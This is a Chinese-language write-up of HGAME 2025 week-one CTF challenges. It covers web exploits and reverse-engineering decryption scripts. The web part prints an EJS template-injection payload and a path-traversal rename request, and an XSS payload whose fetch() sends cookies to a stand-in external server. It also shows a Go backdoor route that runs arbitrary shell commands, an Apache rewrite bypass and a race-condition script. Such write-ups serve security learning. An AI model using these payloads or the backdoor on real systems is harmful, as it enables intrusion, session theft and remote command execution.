文章

HGAME 2025 WEEK1 WP

HGAME 2025 WEEK1 WP

Web

Level 24 Pacman

查看index.js,发现两个base64加密的内容

image-20250203221916730

image-20250203221848649

解密后分别为haeu4epca_4trgm{_r_amnmse}haeu4epca_4trgm{_r_amnmse},猜测为栅栏密码,解密后得到flag

Level 47 BandBomb

  1. 上传恶意模板文件 上传 hack.txt,内容为:

    do it
    <% var name=global.process.mainModule.require('child_process').exec('env > public/output') %>
    <%= name %>
    
    • 关键点
      • <% ... %> 是EJS的代码执行标签,服务器渲染模板时会执行其中的代码。
      • exec('env > public/output') 将环境变量写入到 public/output 文件中,此文件可通过静态路由 /static/output 访问。
  2. 覆盖模板文件 发送重命名请求:

    1
    2
    3
    4
    5
    6
    7
    
    POST /rename
    Content-Type: application/json
       
    {
      "oldName": "hack.txt",
      "newName": "../views/mortis.ejs"
    }
    
    • 漏洞利用
      • newName 包含 ../ 路径遍历符,将文件移动到 views 目录并覆盖 mortis.ejs 模板。
      • 由于题目未对路径进行过滤,此操作成功覆盖模板。
  3. 触发模板渲染 访问首页 GET /,服务器会渲染被篡改的 mortis.ejs,执行以下操作:

    • 运行 env > public/output,将环境变量写入静态目录下的 output 文件。
    • 由于 <%= name %> 输出的是 exec 返回的 ChildProcess 对象(非字符串),页面可能显示 [object Object],但命令已执行。
  4. 查看命令结果 访问 http://题目地址/static/output,自动下载 public/output 文件,查看output文件内容,获得flag

Level 69 MysteryMessageBoard

用户名是shallot,爆破出密码是888888

image-20250204174006197

留言板xss,payload:

1
2
3
<script>
  fetch('https://your-server.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

提交后访问/admin触发,然后得到admin的session,用来访问/flag得到flag

image-20250204195204260

Level 25 双面人派对

web服务下载main附件,发现加壳了

image-20250205114602492

脱壳后用IDA打开,发现有minio,可能是云安全

image-20250205114922814

找到access_key和secret_key

image-20250205115252157

通过mc客户端连接unknow服务

image-20250205141206833

image-20250205141139631

查看hints存储桶

image-20250205141249111

下载src.zip得到源码

image-20250205141606684

查看源码main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main
import (
	"level25/fetch"
	"level25/conf"
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
)
func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}
func program(state overseer.State) {
	g := gin.Default()
	g.StaticFS("/", gin.Dir(".", true))
	g.Run(":8080")
}

分析目标服务

  1. 服务架构

    • 主程序 main.go 使用 overseer 实现热更新,定期从 MinIO 存储桶 prodbucket 拉取 update 文件并重启服务。

    • MinIO 配置信息硬编码在程序中:

      1
      2
      3
      4
      5
      
      endpoint: 127.0.0.1:9000
      access_key: minio_admin
      secret_key: JPSQ4N08vh2/W7hzdLyRYLDm0wNRWG48BL09yOKGplis=
      bucket: prodbucket
      key: update
      
  2. 漏洞点

    • 未校验二进制文件来源:允许覆盖 update 文件,触发热更新。
    • 静态文件暴露g.StaticFS("/static", gin.Dir(".", true)) 暴露当前目录文件。

添加后门路由

修改 main.go,添加命令执行路由 /cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main

import (
	"bytes"
	"level25/fetch"
	"level25/conf"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}

func program(state overseer.State) {
	g := gin.Default()
	g.StaticFS("/static", gin.Dir(".", true))
	
	// 添加后门路由
	g.GET("/cmd", func(c *gin.Context) {
		command := c.Query("command")
		if command == "" {
			c.JSON(http.StatusBadRequest, gin.H{"error": "command parameter is required"})
			return
		}
		
		cmd := exec.Command("sh", "-c", command)
		var stdout, stderr bytes.Buffer
		cmd.Stdout = &stdout
		cmd.Stderr = &stderr
		err := cmd.Run()
		
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{
				"error":   "failed to execute command",
				"details": stderr.String(),
			})
			return
		}
		
		c.JSON(http.StatusOK, gin.H{
			"command": command,
			"output":  stdout.String(),
		})
	})
	
	g.Run(":8080")
}

编译并上传恶意二进制

编译为 Linux 可执行文件

1
go build -o main main.go

在linux环境下编译

上传到 MinIO 存储桶: 使用 mc 客户端覆盖存储桶中的 update 文件:

image-20250205201039309

触发热更新

  1. 等待服务自动重启overseer 检测到 update 文件变更后会自动重启服务(通常 5-10 秒)。

  2. 验证后门路由: 访问web服务执行命令,得到flag

    image-20250205201224395

Level 38475 角落

dirsearch扫描,发现robots.txt,访问后发现app.conf

image-20250206113130415

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//app.conf
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

这段配置的作用是:

  1. 目录访问控制
    • 允许用户访问 /usr/local/apache2/app 目录,并列出文件(如果直接访问目录)。
    • 禁止访问具体文件 /usr/local/apache2/app/app.py
  2. 重写规则
    • 仅当请求头的 User-AgentL1nk/ 开头时,将路径 /admin/xxx 重写为 /xxx.html?secret=todo
  3. 代理转发
    • /app/ 路径的请求转发到本地运行的应用服务器(http://127.0.0.1:5000/)。

RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" 会将 /admin/xxx 重写为 /xxx.html?secret=todo

如果请求路径是 /admin/usr/local/apache2/app/app.py%3F,Apache 会将 %3F 解码为 ?,从而触发 RewriteRule:

  • 原始请求:/admin/usr/local/apache2/app/app.py%3F
  • 解码后:/admin/usr/local/apache2/app/app.py?
  • 重写后:/usr/local/apache2/app/app.py?.html?secret=todo

由于 ? 后面的内容会被忽略,实际请求的路径是 /usr/local/apache2/app/app.py

设置user-agent: L1nk/1.0,通过/admin/usr/local/apache2/app/app.py%3F路径即可访问app.py。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')
	
@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("", readmsg())
		return render_template_string(show)
	return 'waf!!'
	

if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

/read路由存在ssti,但是过滤了{。仔细分析发现调用了两次readmsg(),考虑可以通过并发绕过。前两个包访问send路由,第一个包里放正常内容,第二个包里放ssti。还要第三个包访问read路由。三个数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/send HTTP/1.1
Host: node1.hgame.vidar.club:30834
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node1.hgame.vidar.club:30834
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.hgame.vidar.club:30834/app/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

message=123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/send HTTP/1.1
Host: node1.hgame.vidar.club:30834
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node1.hgame.vidar.club:30834
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.hgame.vidar.club:30834/app/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

message=
1
2
3
4
5
6
7
8
9
GET /app/read HTTP/1.1
Host: node1.hgame.vidar.club:30834
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

写一个脚本来并发这三个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from concurrent.futures import ThreadPoolExecutor

# 定义要发送的请求
def send_post_request(data):
    url = "http://node1.hgame.vidar.club:30834/app/send"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": "http://node1.hgame.vidar.club:30834/app/index",
        "Connection": "keep-alive"
    }
    
    response = requests.post(url, headers=headers, data=data)
    print(f"Response: {response.status_code}, Content: {response.text}")

def send_get_request():
    url = "http://node1.hgame.vidar.club:30834/app/read"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Connection": "keep-alive"
    }
    
    response = requests.get(url, headers=headers)
    print(f"GET Response: {response.status_code}, Content: {response.text}")

# 定义要发送的消息
data1 = "message=123"
data2 = "message="

# 使用线程池并发发送请求
with ThreadPoolExecutor(max_workers=3) as executor:
    executor.submit(send_post_request, data1)
    executor.submit(send_post_request, data2)
    executor.submit(send_get_request)

多尝试几次就可以得到flag

Reverse

Compress dot new

要解决这个问题,我们需要将二进制字符串作为路径遍历嵌套的JSON结构,每个路径的终点节点包含一个ASCII码。每个二进制位(0或1)对应选择左(a)或右(b)分支,直到找到包含s键的节点,将s的值转换为字符。重复此过程直到处理完所有二进制位。

解题程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json

# 读取文件内容
with open('enc.txt', 'r') as f:
    content = f.read().split('\n', 1)
    json_str = content[0]
    binary_str = content[1].strip()

# 解析JSON结构
data = json.loads(json_str)
result = []
index = 0

# 遍历二进制字符串
while index < len(binary_str):
    current_node = data  # 每次从根节点开始
    while True:
        if 's' in current_node:
            # 找到字符,添加到结果
            result.append(chr(current_node['s']))
            break
        else:
            # 选择分支
            bit = binary_str[index]
            index += 1
            if bit == '0':
                current_node = current_node['a']
            else:
                current_node = current_node['b']

# 输出结果
print(''.join(result))

程序说明

  1. 读取文件:将文件内容分割为JSON字符串和二进制字符串。
  2. 解析JSON:使用json.loads将JSON字符串转换为嵌套字典。
  3. 遍历二进制位:逐位处理二进制字符串,根据当前位选择分支(ab),直到找到包含s键的节点。
  4. 字符转换:将s的值转换为ASCII字符并添加到结果列表。
  5. 循环处理:重复上述步骤,直到处理完所有二进制位。

Turtle

手动脱掉upx壳。两次RC4加密,第一次加密第二次的密钥,密钥为yekyek,第二次加密flag 第一次解密脚本,解密后得到密钥为ecg4ab6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void rc4_ksa(const uint8_t *key, int key_len, uint8_t *sbox) {
	for (int i = 0; i < 256; i++) {
		sbox[i] = i;
	}
	int j = 0;
	for (int i = 0; i < 256; i++) {
		j = (j + sbox[i] + key[i % key_len]) % 256;
		uint8_t tmp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = tmp;
	}
}

void rc4_prga(uint8_t *data, int data_len, uint8_t *sbox) {
	int i = 0, j = 0;
	for (int k = 0; k < data_len; k++) {
		i = (i + 1) % 256;
		j = (j + sbox[i]) % 256;
		uint8_t tmp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = tmp;
		uint8_t key_byte = sbox[(sbox[i] + sbox[j]) % 256];
		data[k] ^= key_byte;
	}
}

int main() {
	// 密文(无符号字节形式)
	uint8_t ciphertext[] = {0xCD, 0x8F, 0x25, 0x3D, 0xE1, 'Q', 'J'};
	// 密钥
	const uint8_t key[] = "yekyek";
	int ciphertext_len = sizeof(ciphertext);
	int key_len = strlen((char *)key);
	
	// 解密
	uint8_t sbox[256];
	rc4_ksa(key, key_len, sbox);
	rc4_prga(ciphertext, ciphertext_len, sbox);
	
	// 输出明文
	printf("Decrypted: ");
	for (int i = 0; i < ciphertext_len; i++) {
		printf("%c", ciphertext[i]);
	}
	printf("\n");
	return 0;
}

第二次解密脚本,解密后得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <stdint.h>
#include <string.h>

// RC4 密钥调度(KSA,与之前相同)
void rc4_ksa(const uint8_t *key, int key_len, uint8_t *sbox) {
	for (int i = 0; i < 256; i++) {
		sbox[i] = i;
	}
	int j = 0;
	for (int i = 0; i < 256; i++) {
		j = (j + sbox[i] + key[i % key_len]) % 256;
		uint8_t tmp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = tmp;
	}
}

// 修改后的 PRGA(解密时使用加法)
void modified_rc4_prga(uint8_t *data, int data_len, uint8_t *sbox) {
	int i = 0, j = 0;
	for (int k = 0; k < data_len; k++) {
		i = (i + 1) % 256;
		j = (j + sbox[i]) % 256;
		uint8_t tmp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = tmp;
		uint8_t key_byte = sbox[(sbox[i] + sbox[j]) % 256];
		data[k] += key_byte;  // 解密时用加法(加密是减法)
	}
}

int main() {
	// 密文转换(有符号十进制转无符号字节)
	uint8_t ciphertext[] = {
		0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
		0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
		0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
		0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
		0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
	};
	
	// 密钥
	const uint8_t key[] = "ecg4ab6";
	int ciphertext_len = sizeof(ciphertext);
	int key_len = strlen((char *)key);
	
	// 解密
	uint8_t sbox[256];
	rc4_ksa(key, key_len, sbox);
	modified_rc4_prga(ciphertext, ciphertext_len, sbox);
	
	// 输出明文(尝试 ASCII 显示)
	printf("Decrypted: ");
	for (int i = 0; i < ciphertext_len; i++) {
		printf("%c", ciphertext[i]);
	}
	printf("\n");
	return 0;
}
本文由作者按照 CC BY 4.0 进行授权